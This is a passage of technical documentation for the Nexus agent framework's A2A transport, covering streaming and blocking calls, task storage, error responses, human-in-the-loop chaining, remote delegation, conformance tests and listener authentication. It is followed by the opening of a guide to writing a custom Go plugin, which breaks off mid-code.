telemetry on the
WORKINGstatus updates between them — see What a turn publishes. - A status update to
TASK_STATE_COMPLETED, which closes the stream.
Artifacts must precede the terminal status, and do: A2A closes a stream the
moment a frame reports a terminal state, so an artifact queued after COMPLETED
would be dropped and the client would see a completed task with no output.
TASK_STATE_FAILED, CANCELED and REJECTED close the stream the same way, so
a client handles one shape of ending rather than two.
Over the REST binding the same stream is available at POST <rest_prefix>/message:stream, and each data: payload is a bare
StreamResponse with no JSON-RPC envelope. pkg/a2a’s SSEReader
auto-detects the framing per record, so a client need not know which binding the
server chose before it starts reading.
3. Or block and take the finished Task
Blocking is A2A’s default for SendMessage (§3.2.2): the call returns when the
work is done, not when it was accepted. Here over the REST binding:
curl -s -X POST localhost:18191/a2a/v1/message:send \
-H 'Authorization: Bearer test-a2a-token' \
-H 'A2A-Version: 1.0' \
-H 'Content-Type: application/a2a+json' \
-d '{"message":{"messageId":"m2","role":"ROLE_USER",
"parts":[{"text":"and again"}],"contextId":"demo"}}'
{"task":{"id":"task-b102f6…","contextId":"demo",
"status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T16:05:50.629Z"},
"artifacts":[{"artifactId":"task-b102f6…-response","name":"response",
"parts":[{"text":"Still here on the second turn."}]}]}}
The blocking reply is folded from exactly the frames the streaming path writes, so the two bindings cannot report different outcomes for the same turn. (The answer differs from the first call’s only because the test config scripts two mock responses.)
Because this call reused contextId: "demo", it ran in the same session as
the streaming call above, with the first exchange still in history. A different
contextId is refused — that is the payload shown earlier.
configuration.returnImmediately answers with the task as it stands and lets
the client follow it with GetTask or SubscribeToTask. That works because a
run’s lifetime is its task’s, not its request’s: the listener’s single
active-task slot is released when the task reaches a terminal state, so a client
may also disconnect mid-turn and reattach later without failing its own task.
The cost of that is why CancelTask exists — a turn nobody is watching would
otherwise hold the process’s only agent loop with nothing able to interrupt it.
A blocking SendMessage returns on a terminal state or on
INPUT_REQUIRED: a task waiting for the caller cannot be waited on by the
caller.
4. Reading tasks back
A task outlives the call that created it. Poll one:
curl -s localhost:18191/a2a/v1/tasks/<task-id> \
-H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq
{"id":"task-e0fc24…","contextId":"demo",
"status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T18:20:10.828Z"},
"artifacts":[{"artifactId":"task-e0fc24…-response","name":"response",
"parts":[{"text":"Hello from a mocked Nexus agent."}]}],
"history":[{"messageId":"m1","contextId":"demo","taskId":"task-e0fc24…",
"role":"ROLE_USER","parts":[{"text":"Are you still there?"}]},
{"messageId":"msg-de55c4…","contextId":"demo","taskId":"task-e0fc24…",
"role":"ROLE_AGENT","parts":[{"text":"Hello from a mocked Nexus agent."}]}]}
history is the trail of message references the store retained, rendered as
text messages — not a replay of Nexus’s conversation buffer. §3.7 leaves it to
the server which messages are persisted and warns clients not to assume all of
them are present, so a bounded reference trail is a conforming history.
historyLength caps it: 0 omits it, N keeps the most recent N.
List them, newest first. History is included unless you cap it, so
historyLength=0 is the compact listing:
curl -s 'localhost:18191/a2a/v1/tasks?pageSize=1&historyLength=0' \
-H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' | jq
{"tasks":[{"id":"task-e0fc24…","contextId":"demo",
"status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T18:20:10.828Z"}}],
"nextPageToken":"","pageSize":1,"totalSize":1}
Artifacts are the other way round — omitted unless includeArtifacts=true,
which is the specification’s own default. The remaining filters are contextId,
status and statusTimestampAfter. nextPageToken is empty when the walk is
done and is a keyset cursor otherwise, so a task created while you page cannot
make the walk skip or repeat a row.
Re-attach a stream to a task, which replays its current state and then follows it live:
curl -sN -X POST localhost:18191/a2a/v1/tasks/<task-id>:subscribe \
-H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0'
data: {"task":{"id":"task-e0fc24…","contextId":"demo",
"status":{"state":"TASK_STATE_COMPLETED","timestamp":"2026-08-18T18:20:10.828Z"},
"artifacts":[…],"history":[…]}}
On a finished task that is one frame — the terminal snapshot — and the stream closes. On a task still running it is the current snapshot followed by the same frames every other attached stream receives; several clients may watch one task at once and all of them see the identical sequence from the point they joined.
A task belonging to another principal answers exactly as an unknown task id
does: the same TaskNotFoundError, the same 404, the same body. There is no
“exists but is not yours”, because that is an existence oracle for ids the
caller was never told.
5. Failure shapes worth knowing
Missing or bad credentials, on the JSON-RPC binding:
HTTP/1.1 401 Unauthorized
A2a-Version: 1.0
Www-Authenticate: Bearer realm="nexus-a2a"
{"jsonrpc":"2.0","id":null,"error":{"code":-32000,"message":"unauthorized",
"data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo",
"domain":"nexus.io.a2a","reason":"AUTHENTICATION_REQUIRED"}]}}
A deliberately unsupported operation, refused with the error type the specification reserves for exactly that condition:
curl -s localhost:18191/a2a \
-H 'Authorization: Bearer test-a2a-token' -H 'A2A-Version: 1.0' \
-H 'Content-Type: application/a2a+json' \
-d '{"jsonrpc":"2.0","id":9,"method":"GetExtendedAgentCard","params":{}}'
{"jsonrpc":"2.0","id":9,"error":{"code":-32004,
"message":"operation \"GetExtendedAgentCard\" is not supported by this agent",
"data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo","domain":"a2a-protocol.org",
"reason":"UNSUPPORTED_OPERATION"}]}}
Cancelling a task that has already finished — a well-defined mistake, not a silent no-op:
{"jsonrpc":"2.0","id":9,"error":{"code":-32002,
"message":"task is in terminal state TASK_STATE_COMPLETED and cannot be canceled",
"data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo","domain":"a2a-protocol.org",
"metadata":{"taskId":"task-01J…"},"reason":"TASK_NOT_CANCELABLE"}]}}
A task id that this caller cannot see — unknown, or owned by somebody else:
{"jsonrpc":"2.0","id":9,"error":{"code":-32001,"message":"Task not found",
"data":[{"@type":"type.googleapis.com/google.rpc.ErrorInfo","domain":"a2a-protocol.org",
"metadata":{"taskId":"task-x"},"reason":"TASK_NOT_FOUND"}]}}
The full per-binding error-envelope table is in the Configuration Reference.
What works today
There are two serving surfaces and they do not implement identical sets, so the
tables below are per surface. Both keep one map — implementedOperations in
the plugin, brokerImplementedOperations in the broker — that gates what
dispatches and what the Agent Card advertises, so on either surface the card
and the behaviour cannot disagree.
Standalone serve (nexus.io.a2a)
| Operation | JSON-RPC method | REST path | Status |
|---|---|---|---|
| Fetch the Agent Card | — | GET /.well-known/agent-card.json | Works |
| Send a message, blocking | SendMessage | POST <rest_prefix>/message:send | Works |
| Send a message, streaming | SendStreamingMessage | POST <rest_prefix>/message:stream | Works |
| Read one task | GetTask | GET <rest_prefix>/tasks/{id} | Works — status, artifacts, history; historyLength honoured |
| List tasks | ListTasks | GET <rest_prefix>/tasks | Works — keyset pagination, contextId / status / statusTimestampAfter / includeArtifacts filters |
| Re-subscribe to a task | SubscribeToTask | POST <rest_prefix>/tasks/{id}:subscribe | Works — replays current state, then follows live; several streams per task |
| Cancel a task | CancelTask | POST <rest_prefix>/tasks/{id}:cancel | Works — routes through control.cancel, settles at CANCELED; a terminal task is TaskNotCancelableError |
| Continue an interrupted task | SendMessage with taskId | POST <rest_prefix>/message:send | Works — routes the answer to the parked hitl.requested; same turn, no new task |
| Return before the turn ends | configuration.returnImmediately | same | Works — answers with the task; follow it with GetTask / SubscribeToTask |
| Receive the answer as an artifact | — | — | Works — a text Part, plus an application/json Part when the answer is a JSON document |
| Receive tool results as artifacts | — | — | Works — one artifact per tool.result, unconditionally |
| Receive written files as artifacts | — | — | Works — inline base64 raw Parts, capped by artifacts.max_file_bytes; detected from what a tool.result reports, so an uninstrumented write is missed by design |
| Receive Nexus telemetry | A2A-Extensions service parameter | same header | Works — thinking steps, tool calls, subagent progress and token usage on TaskStatusUpdateEvent.metadata; declared in the card, opt-in per request |
Every A2A operation outside the push-notification family is now wired. All read
operations are scoped to the calling principal — another principal’s task is
indistinguishable from one that does not exist — and so are CancelTask and
continuation, which resolve the task through the same scoped lookup before they
reveal anything about its state.
Broker-fronted serve (cmd/nexus-broker, the agents: block)
The broker publishes the same operations per profile, at
/agents/<profile>/…, and drives them by starting an isolated instance rather
than by watching this process’s bus. What differs is set out below; everything
not mentioned behaves as the table above describes.
| Capability | Standalone | Broker-fronted |
|---|---|---|
| Conversations per deployment | One. The process is bound to one contextId for its life; a second is refused with CONTEXT_NOT_SERVED | Unbounded. Each contextId gets its own OS-isolated instance, spawned on the first message and re-spawned with -recall after it is released |
| Agents per listener | One | One per agents: profile, each with its own card, config and path namespace |
| Agent Card | Served unauthenticated by default — the listener binds loopback; card_requires_auth: true gates it | Behind the auth guard, always, like every other broker route; an ingress does not publish its agent list to anyone who can reach the port |
| Concurrent tasks on one conversation | Refused (TASK_ALREADY_IN_FLIGHT) — and only a genuinely concurrent one: the slot is released before a terminal response is written, so a sequential send is never refused | Queued. The second task sits in SUBMITTED — readable, streamable, cancellable — until the first is terminal. The broker has no per-conversation refusal to issue at all, so the one-task-at-a-time rule is a property of the standalone listener, not of A2A on Nexus |
| Answer artifact | Yes | Yes |
| Tool-result artifacts | Yes, one per tool.result | No. The instance IO envelope carries no tool results |
| Written-file artifacts | Yes, inline base64 | No, for the same reason |
| Nexus extension telemetry | Yes, opt-in per request | No. The envelope carries no thinking steps or per-call token usage |
GetTask / ListTasks / SubscribeToTask | From the plugin’s task store, principal-scoped | From the broker’s task store, scoped to principal and profile; answers after the instance is gone and across a broker restart |
CancelTask, HITL park and resume, returnImmediately | Yes | Yes |
Push notifications, GetExtendedAgentCard | Refused, capability false | Refused, capability false |
| Retention | tasks.ttl 24h, tasks.max_per_context 200 | a2a.tasks.ttl 24h, a2a.tasks.max_per_context 50, plus a lossy 4096-binding cap on conversation continuity |
The artifact rows are the honest headline. Behind the broker an agent returns
its answer and nothing else, because nexus.io.broker’s payload has no field for
a tool result or a written file. That is a property of the transport between the
broker and the instance, not a gap that a later story closes cheaply, and it is
measured rather than asserted — see
Conformance.
Outbound: what nexus.agent.a2a_remote does today
The table above is the serve leg. The outbound leg stands on its own:
| Capability | Status |
|---|---|
| Fetch a remote’s Agent Card, lazily on first use | Works — a remote that is down cannot fail this instance’s boot; the tool description is rebuilt from the card and re-registered once |
| Delegate a task, streaming | Works — SendStreamingMessage, frames republished as io.output / subagent.iteration while the run is live |
| Delegate a task, blocking | Works — stream: false selects SendMessage |
| Both bindings | Works — binding: jsonrpc (default) or http+json, or pin an endpoint and skip discovery |
| Fold the terminal status message and the artifacts into one tool result | Works — XML-tagged, CDATA-wrapped, binary and URL parts described rather than inlined |
Credentials: bearer, oauth2_client_credentials, mtls | Works — per remote, never inherited, validated at Init |
| Cancel the remote task when the local turn is cancelled | Works — cancel.active → CancelTask, and the same abandonment on every walk-away |
| Chained human-in-the-loop | Works, on either binding — a remote that parks at INPUT_REQUIRED has its question raised locally as hitl.requested, and the answer resumes the same task. See Chaining human-in-the-loop across a delegation |
| Consume the Nexus extension’s telemetry from a remote Nexus | Works — requested by default, mapped onto subagent.iteration |
| Result caching | Works — successes only, never one a human answered for |
| Posture budgets | Partial by design — only default_budget.timeout and max_recursion_depth cross the boundary; a posture setting the token or tool-call budget is refused |
| Push-notification webhooks | Not supported — see Deliberately unsupported |
What a turn publishes
A2A puts task output in artifacts and conversation in messages (§3.7). A turn’s artifacts are:
artifactId | Contents |
|---|---|
<taskId>-response | The answer as a text Part. Plus an application/json Part when the answer is a JSON object or array — one surrounding markdown fence is unwrapped first — so structured output is a document rather than a string a client re-parses. |
<taskId>-tool-<callId> | One per tool result: the output as text (or the error, flagged nexus.tool.failed in the artifact metadata), plus an application/json Part when the tool produced structured output. |
<taskId>-file-<path> | One per file the turn wrote: the bytes inline as a base64 raw Part carrying the filename and media type. |
<taskId>-artifacts-truncated | Only when the task spent its artifact budget: how many artifacts were withheld. |
Tool results are artifacts unconditionally — there is no key to turn them
off, because an interop transport whose observability depends on the operator
having enabled it is one a partner cannot rely on. The volume that buys is
answered by caps, not by a flag: artifacts.max_file_bytes (256 KiB) bounds one
inline file, artifacts.max_tool_output_bytes (16 KiB) bounds one tool output,
and artifacts.max_task_bytes (1 MiB) bounds one task. Every cap degrades
rather than dropping silently: an over-cap file becomes a metadata note naming
it, over-cap output is truncated with a note, and a task past its budget
publishes a notice saying how much it withheld.
A human-in-the-loop question is not an artifact. It rides the
INPUT_REQUIRED status message and the task’s message history, which is where a
request for input belongs.
File detection is tool.result-based, and is incomplete by design. A file is
published only when a tool reports having written it, through the engine’s
ToolResult.OutputFile field or a structured-output key named by
artifacts.file_sources (default: nexus.tool.fileio’s write_file reporting
path). Snapshot-diffing the workspace is out of scope, so a shell command
redirecting into a file — which reports stdout and an exit code and nothing about
the file — publishes nothing. nexus.tool.shell therefore has no default rule
rather than one that could never fire.
The Nexus extension: telemetry A2A has no field for
Thinking steps, tool calls, subagent progress and token counts are not output — they are how the agent got to its output — so they ride an extension (§8.4) rather than an artifact:
https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1
The card declares it under capabilities.extensions, never as required. Ask
for it per request:
curl -sN localhost:8091/a2a \
-H 'A2A-Version: 1.0' \
-H 'A2A-Extensions: https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1' \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"SendStreamingMessage","params":{"message":{
"messageId":"m-1","role":"ROLE_USER","parts":[{"text":"search for X"}]}}}'
The response echoes A2A-Extensions with what was actually activated, and
the frames carry payloads like:
{
"statusUpdate": {
"taskId": "task-01J…",
"contextId": "01J…",
"status": { "state": "TASK_STATE_WORKING", "timestamp": "2026-08-18T12:00:01Z" },
"metadata": {
"https://github.com/frankbardon/nexus/a2a/extensions/agent-events/v1": {
"kind": "tool_call",
"taskId": "task-01J…",
"sequence": 3,
"source": "tool.invoke",
"toolCall": { "callId": "call-1", "name": "web_search",
"arguments": { "query": "X" } }
}
}
}
}
Two things are worth knowing. The status those frames carry is the task’s
current state, so a telemetry frame emitted while the task is parked reports
TASK_STATE_INPUT_REQUIRED rather than pretending the task went back to work.
And telemetry is not persisted — storing it would put a WORKING transition
in the task’s status history for every thinking step, so GetTask would replay a
turn’s reasoning as state changes the task never made. It is a live signal on an
attached stream.
A client that does not send the header gets a stream with no extension metadata on it at all. That is the point of an opt-in: it is honoured by not sending.
Human-in-the-loop: INPUT_REQUIRED and back
A Nexus agent asking a human something (ask_user, or any plugin emitting
hitl.requested) parks the task at TASK_STATE_INPUT_REQUIRED with the question
on status.message. The task stays live: open SSE streams stay open, the
state is written through to the store, and a blocking SendMessage returns the
parked Task rather than waiting for a caller that is itself waiting on it.
Answer it by sending a new message carrying the same taskId and contextId
— A2A’s own resume mechanism (§3.4):
curl -sS localhost:8091/a2a -H 'A2A-Version: 1.0' -H 'Content-Type: application/json' -d '{
"jsonrpc": "2.0", "id": 7, "method": "SendMessage",
"params": { "message": {
"messageId": "m-2", "role": "ROLE_USER",
"taskId": "task-01J…", "contextId": "01J…",
"parts": [ { "text": "staging" } ]
} }
}' | jq '.result.task.status.state'
The task returns to WORKING inside the turn that asked — no second task,
no second turn. The wait is bounded by tasks.input_timeout (default 15m),
after which the task is failed and the question retracted, because a parked task
holds this process’s one agent loop.
Because a run now outlives the request that started it, the whole sequence
survives a dropped connection: ask, disconnect, reattach with SubscribeToTask,
answer, complete.
Chaining human-in-the-loop across a delegation
The mapping runs both ways, and the two halves compose.
Inbound (above), a Nexus agent’s hitl.requested becomes an INPUT_REQUIRED
status on the task it is serving. Outbound,
nexus.agent.a2a_remote does the mirror
image: a remote that parks at INPUT_REQUIRED has its question raised as a local
hitl.requested, and the human’s answer is sent back as an ordinary message
carrying the same taskId and contextId.
human
^ hitl.requested / hitl.responded
|
[ Nexus A ] --A2A--> [ Nexus B ] --A2A--> [ agent C ]
^ |
| INPUT_REQUIRED | INPUT_REQUIRED
+---------------------+
C asks. B’s a2a_remote turns that into B’s own hitl.requested; B’s
nexus.io.a2a turns that into B’s task parking at INPUT_REQUIRED; A’s
a2a_remote turns that into the question the human at the top actually sees.
The answer walks back down, each hop resuming its own task under its own
taskId. Nothing in the chain has to know how long it is.
Both directions bound the wait, with the same key name and the same default:
tasks.input_timeout on the serving side and hitl.input_timeout on the calling
side, both 15m, both disabled with "0s". On the calling side the whole-call
timeout also keeps running while the task is parked, and the earlier
deadline wins — with the 5m default timeout that is the call budget, so raise
it for a remote you expect to ask questions. Either way the question is retracted
with hitl.cancel, the remote task is cancelled, and the model is told the
question went unanswered and told not to answer it itself.
AUTH_REQUIRED is deliberately not chained: it asks for a credential, and no
answer a person types is one.
Nexus→Nexus chaining works on either binding
A2A leaves it to the server whether an INPUT_REQUIRED park closes the SSE
stream, and both readings are legal. nexus.io.a2a holds it open (keep-alive
comments, no terminal frame) so a client can keep following the task. The
question is therefore carried by the interruption frame, not by the stream
ending, and nexus.agent.a2a_remote acts on that frame: it stops reading there,
puts the question to a human, and resumes the task on a fresh connection with a
message naming the same taskId (§3.2.2, §3.4). No configuration is needed —
chaining works at the shipped default stream: true, and equally over the
blocking binding, which returns the parked Task the moment it parks.
tests/integration/a2a_loopback_test.go pins the Nexus→Nexus shape end to end,
streaming included.
Planned, not available today
Do not build against these. Everything below is either refused outright or simply absent right now; it is listed so the shape of the finished transport is visible, not so it can be relied on.
- Tool, file and telemetry artifacts behind the broker. The broker-fronted surface publishes only a turn’s answer, because the instance IO envelope carries nothing else. Widening it means widening that envelope, which is a change to every broker client and not to this transport.
- Workspace-wide file detection. Files become artifacts only when a
tool.resultreports the path (see What a turn publishes); snapshot-diffing the session workspace is deliberately out of scope, so a write by an uninstrumented path is missed.
Delegating to a remote agent
Everything above is the inbound direction: a client driving a Nexus turn.
The outbound direction is nexus.agent.a2a_remote,
which turns each configured remote A2A agent into one LLM-facing tool:
plugins:
active:
- nexus.agent.react
- nexus.agent.a2a_remote
nexus.agent.a2a_remote:
agents:
- name: researcher
base_url: https://research.internal
description: A specialist research agent reachable over A2A.
That registers delegate_a2a_researcher. Calling it sends the delegated task to
the remote, drains the stream the remote answers with, and folds the terminal
result back into the tool result.
Several decisions in that path are worth stating here, because they are the ones a reader of this guide is most likely to be surprised by.
Remotes come from configuration only. The tool schema exposes no url,
endpoint or host parameter. A model-chosen address would be a server-side
request forgery surface and an unbounded spend surface at once; which remotes an
instance can reach is an operator decision.
Discovery is lazy. A remote’s Agent Card is fetched on first use, never at
boot. A remote agent is somebody else’s process, and one that is down —
restarting, not deployed, behind a VPN — must not be able to fail this
instance’s startup. Until the card resolves the tool carries the configured
description; the first successful call rebuilds it from the card’s own
skills and re-registers the tool once.
A2A’s split answer is put back together. A2A puts output in artifacts and
conversation in messages, and a remote may put its whole answer in either. Both
are folded into one XML-tagged document — <final_response> plus one
<artifact> element each — so the calling model can tell the agent’s summary
from a tool’s raw output and one artifact from the next. Remote text rides in
CDATA; binary and URL parts are described rather than inlined; extension
telemetry parts are dropped.
Nothing is an engine-level failure. An unreachable card, a refused binding, a
dead stream, an exhausted budget and a task that ends FAILED all become a clean
tool error carrying a sentence the calling model can act on, alongside whatever
partial output arrived.
A remote’s question reaches the human, not the model. A remote parking at
INPUT_REQUIRED is not a failure: the question is raised on the local bus as
hitl.requested — the same event ask_user produces — and the human’s answer
resumes the remote task with the same taskId and contextId, which is A2A’s
own resume mechanism (§3.4). The delegating model never sees the question and is
never given the chance to answer it, because a model handed a question only a
person can settle will invent an answer and then act on it. It works on either
binding, including against a remote that holds its stream open across the park —
nexus.io.a2a does; see Chaining human-in-the-loop across a
delegation.
A long delegation is not a black box. The remote’s narration becomes
io.output and, for a remote Nexus instance, its own tool calls and subagent
activity arrive through the Nexus extension and become subagent.iteration, so
the TUI, the browser, AG-UI and the A2A serve transport can all render progress.
This is why extensions defaults to the Nexus extension URI: a remote that has
never heard of it answers exactly as before, and a remote Nexus answers with the
telemetry that makes the delegation legible.
Cancelling the local turn cancels the remote task. cancel.active retracts
any pending question and issues CancelTask to every remote in flight. More
generally: if this instance walks away from a non-terminal remote task — an
exhausted budget, a broken stream, a question nobody answered — it tells the
remote rather than leaving it working for a caller that has gone.
Credentials are per remote and checked at boot. Each agents[] entry carries
its own credentials: block — bearer, oauth2_client_credentials or mtls —
and there is deliberately no plugin-level default, so a token can never reach a
remote it was not issued for. Everything checkable without the network is
checked at Init: an unset environment variable, an unreadable client
certificate, a key belonging to the wrong type. No credential value is ever
logged. On the first call the credential is compared against the card’s
securitySchemes and an obvious mismatch warns — a card’s scheme block is
optional and routinely incomplete, so refusing on that evidence would break
working deployments. See
Remote A2A Agents → Credentials.
Budgets come from the posture registry when a
remote names a posture — but only default_budget.timeout and
max_recursion_depth, since A2A gives a client no control over the remote’s own
token or tool-call spend. A posture setting either of those is refused rather
than half-honoured.
Because nexus.io.a2a speaks the same wire, pointing a2a_remote at another
Nexus instance’s serve endpoint is a complete Nexus→Nexus loopback, which is the
cheapest faithful end-to-end proof of both directions at once — and is what
tests/integration/a2a_loopback_test.go does. See Nexus↔Nexus
loopback for what that proves and what it does not.
Deliberately unsupported
These are not “not yet”. They are decisions.
Push-notification webhooks
The Agent Card declares capabilities.pushNotifications: false, and none of the
four *TaskPushNotificationConfig operations exists — DecodeCall reports them
as unsupported methods, and an inline configuration.taskPushNotificationConfig
on a SendMessage is refused with PushNotificationNotSupportedError.
Push delivery is not a small feature: it is an outbound HTTP client with retry,
backoff, webhook-URL validation (an SSRF surface), and request signing so a
receiver can trust the callback. SSE already covers the long-running-task case
for every client that can hold a connection, so the machinery buys reach at a
disproportionate cost in attack surface. The TaskPushNotificationConfig type
exists in pkg/a2a only because SendMessageConfiguration references it.
GetExtendedAgentCard
capabilities.extendedAgentCard is false. The extended card is the
specification’s answer to “my card must stay private”: a second, authenticated
document with more detail than the public one. Nexus’s card is entirely
hand-authored — nothing is derived from the tool catalog or the skills plugin —
so there is no richer internal document for an extended card to reveal, and a
second card would be a second thing to keep in sync with the first. An operator
who needs the card private sets card_requires_auth: true and distributes it
out-of-band, which §8.2 sanctions as “Direct Configuration”.
The gRPC binding
A2A defines three bindings; Nexus implements two, JSON-RPC 2.0 and HTTP+JSON.
gRPC is deferred, and the reason is a dependency budget: it would pull grpc,
protobuf and genproto into the default build of a repo that hand-rolls
every LLM provider over net/http. The codec is deliberately
transport-agnostic, so if gRPC ships it ships as a separate opt-in plugin and
those dependencies stay out of cmd/nexus and cmd/nexus-broker.
Nexus also does not adopt a2aproject/a2a-go for the same reason: the SDK drags
in the same stack plus cobra.
Conformance: one corpus, two mappings
Two independent mappings turn Nexus activity into A2A frames, and they share
only the wire types in pkg/a2a:
plugins/io/a2amaps the engine bus (agent.turn.start,tool.result,hitl.requested, …) onto A2A.- the session broker maps the broker IO envelope forwarded over its dial-back WebSocket onto A2A.
Nothing in the type system makes the two agree, so a shared conformance corpus
does: pkg/a2a/a2aconform holds a set of JSON vectors describing A2A output
only. A vector names an abstract step (“the agent produced final text”, “the
agent asked the human a question”) and pins the exact frame sequence that step
must produce; a mapping supplies a Driver that realizes those steps in its own
vocabulary, and the runner does the comparing. Beyond a frame-by-frame
comparison, every vector is independently replayed through a2a.SSEWriter, so
each one also asserts §11.7’s stream contract.
nexus.io.a2a’s driver is TestA2AConformance in
plugins/io/a2a/conformance_test.go; it declares every capability the
vocabulary names and passes 9 of 9. The broker’s driver is the same test
name in cmd/nexus-broker/a2aconformance_test.go, and it passes 5 of 9 with 4
skipped:
| Vector | Broker | Why |
|---|---|---|
turn-completes, turn-fails, turn-canceled, hitl-interrupt-resume, hitl-parks-stream-open | Pass | The IO envelope expresses all of it: an input payload starts a turn, status: idle ends it, an instance going away fails it, cancel settles it, hitl.request parks it |
multi-artifact-turn, streaming-order-interleaves | Skipped — needs tool_artifacts | nexus.io.broker subscribes to neither tool.invoke nor tool.result, and its payload has no field for either, so there is nothing to publish a tool artifact from — and nothing to interleave with |
oversized-file-degrades | Skipped — needs tool_artifacts, file_artifacts | Files a turn wrote are reported on a tool result, which is the same absence |
artifact-budget-suppression | Skipped — needs tool_artifacts, artifact_budget | The only artifact this mapping mints is the turn’s own answer, which is never charged against a budget, so there is no budget to have |
The skips are declared, not silent: a Feature gate makes a mapping state
once, visibly, what it cannot express, the runner names every skipped vector on
every run, and a mapping that declared a feature it cannot produce would pass a
vector by lying about its transport. Weakening the four vectors so the broker
could claim them would erase the one honest difference between the two surfaces.
The oracle’s own honesty is tested in pkg/a2a/a2aconform/check_test.go, which
feeds Check deliberately-wrong observations and asserts each is reported.
The rule: any new A2A behaviour adds a vector there before it is implemented in a second mapping. Back-filling vectors from a second mapping’s observed output encodes the drift instead of catching it. And if a mapping cannot satisfy a vector, the vector is not weakened: either the mapping has a bug, or the expectation is wrong and the fix lands in the vector with a rationale saying why the old one was.
Nexus↔Nexus loopback
The corpus checks one mapping against a written-down expectation. The loopback
checks the two legs against each other: tests/integration/a2a_loopback_test.go
boots two real engines — one running nexus.agent.a2a_remote, one running
nexus.io.a2a on 127.0.0.1:18192 — and drives a full delegation between them
under mocked LLM responses, so it needs no API key and runs in a couple of
seconds inside the standard tagged suite.
| Config | Role |
|---|---|
configs/test-a2a-loopback-caller.yaml | the delegating engine, bearer credential, mock LLM |
configs/test-a2a-loopback-server.yaml | the callee’s listener, bearer-guarded, mock LLM |
configs/test-a2a-loopback-hitl-server.yaml | the same callee, but its agent calls ask_user |
It covers card fetch, a streaming run to COMPLETED, artifact return, bearer
acceptance and refusal, a chained question answered on the caller’s side, the
two input deadlines (tasks.input_timeout and hitl.input_timeout) racing each
other, and a local cancellation settling the remote task at CANCELED.
What it proves, and what it does not. Conformance for this integration is self-defined: hand-written vectors plus this loopback. No external A2A implementation and no third-party test kit is in either path. The loopback therefore proves the two Nexus mappings are self-consistent — what one emits, the other reads — and says nothing about interoperating with somebody else’s agent. That is a recorded limitation, not an oversight; the corpus above exists precisely because a loopback cannot catch a shared misreading of the specification.
Securing a listener
The listener binds loopback by default (127.0.0.1:8091) and with no
bearer_token or auth: block it admits every caller — which is only safe
because of that bind address. Move bind off loopback and configure
authentication in the same commit.
Two spellings, mutually exclusive, identical to nexus.io.agui:
plugins:
nexus.io.a2a:
bind: "0.0.0.0:8091"
public_url: "https://agent.example.com" # what the card advertises
bearer_token_env: NEXUS_A2A_TOKEN # one shared secret
plugins:
nexus.io.a2a:
auth: # or the full validator chain
validators:
- type: jwks
issuer: "https://issuer.example.com/"
jwks_url: "https://issuer.example.com/.well-known/jwks.json"
audience: ["nexus-a2a"]
principal_claim: sub
Setting both is a boot error. The card’s securitySchemes are derived from
whichever you configured, so a client is told to present what is actually
enforced — with one exception: a proxy_headers validator publishes no
scheme, because it accepts no client credential at all, only an identity a
trusted fronting proxy already established.
public_url matters as soon as a reverse proxy is involved: it is what the card
advertises in supportedInterfaces, and it defaults to http://<bind>, which
is right for loopback and wrong behind a proxy.
See also
- A2A serve transport — the plugin page: surfaces, card authoring, and the decisions behind the defaults
- Remote A2A agents (
nexus.agent.a2a_remote) — the outbound plugin page: lazy discovery, budgets, result folding, failure shapes - Configuration Reference —
nexus.io.a2a— canonical key list - Configuration Reference —
nexus.agent.a2a_remote— canonical key list for the outbound leg - Authentication (
auth:) — the sharedpkg/nexusauthvalidator chain - Session Broker — the
broker-fronted surface: the
agents:block, per-profile card URLs, the spawn/resume lifecycle and the retention knobs - AG-UI serve transport — the structural sibling this transport was modelled on
Creating a Custom Plugin
This guide walks through creating a new Nexus plugin from scratch.
Plugin Template
Create a new package under plugins/:
plugins/
mycat/
mycat.go # Main plugin file
mycat_test.go # Tests
Minimal Plugin
package mycat
import (
"context"
"log/slog"
"github.com/frankbardon/nexus/pkg/engine"
)
const pluginID = "nexus.mycat"
type Plugin struct {
bus engine.EventBus
logger *slog.Logger
}
func New() engine.Plugin {
return &Plugin{}
}
func (p *Plugin) ID() string { return pluginID }
func (p *Plugin) Name() string { return "My Category Plugin" }
func (p *Plugin) Version() string { return "0.1.0" }
func (p *Plugin) Dependencies() []string { return nil }
func (p *Plugin) Init(ctx engine.PluginContext) error {
p.bus = ctx.Bus
p.logger = ctx.Logger
// Read config from ctx.Config
// Set up subscriptions
return nil
}
func (p *Plugin) Ready() error { return nil }
func (p *Plugin) Shutdown(ctx context.Context) error { return nil }
func (p *Plugin) Subscriptions() []engine.EventSubscription {
return []engine.EventSubscription{
{EventType: "io.input", Priority: 50},
}
}
func (p *Plugin) Emissions() []string {
return []string{"io.output"}
}
Reading Configuration
Plugin config comes as map[string]any from the YAML:
func (p *Plugin) Init(ctx engine.PluginContext) error {
// Read a string config value
if v, ok := ctx.Config["my_setting"].(string); ok {
p.mySetting = v
}
// Read an int (YAML numbers may come as float64)
if v, ok := ctx.Config["max_items"].(int); ok {
p.maxItems = v
} else if v, ok := ctx.Config["max_items"].(float64); ok {
p.maxItems = int(v)
}
// Read a bool with default
p.enabled = true
if v, ok := ctx.Config["enabled"].(bool); ok {
p.enabled = v
}
return nil
}
Subscribing to Events
Via Subscriptions() (preferred for static subscriptions)
func (p *Plugin) Subscriptions() []engine.EventSubscription {
return []engine.EventSubscription{
{EventType: "io.input", Priority: 50},
{EventType: "tool.result", Priority: 50},
}
}
The lifecycle manager will wire these up automatically and call the handler. You’ll need to implement event routing in your handler.
Via Bus.Subscribe() (for dynamic subscriptions)
func (p *Plugin) Init(ctx engine.PluginContext) error {
ctx.Bus.Subscribe("custom.event", p.handleCustomEvent,
engine.WithPriority(50),
engine.WithSource(pluginID),
)
return nil
}
func (p *Plugin) handleCustomEvent(event engine.Event[any]) {
// Handle the event
}
Emitting Events
// Simple emit
p.bus.Emit("my.event", MyPayload{
Field: "value",
})
// Vetoable emit (for before:* events)
result, err := p.bus.EmitVetoable("before:my.action", &engine.VetoResult{})
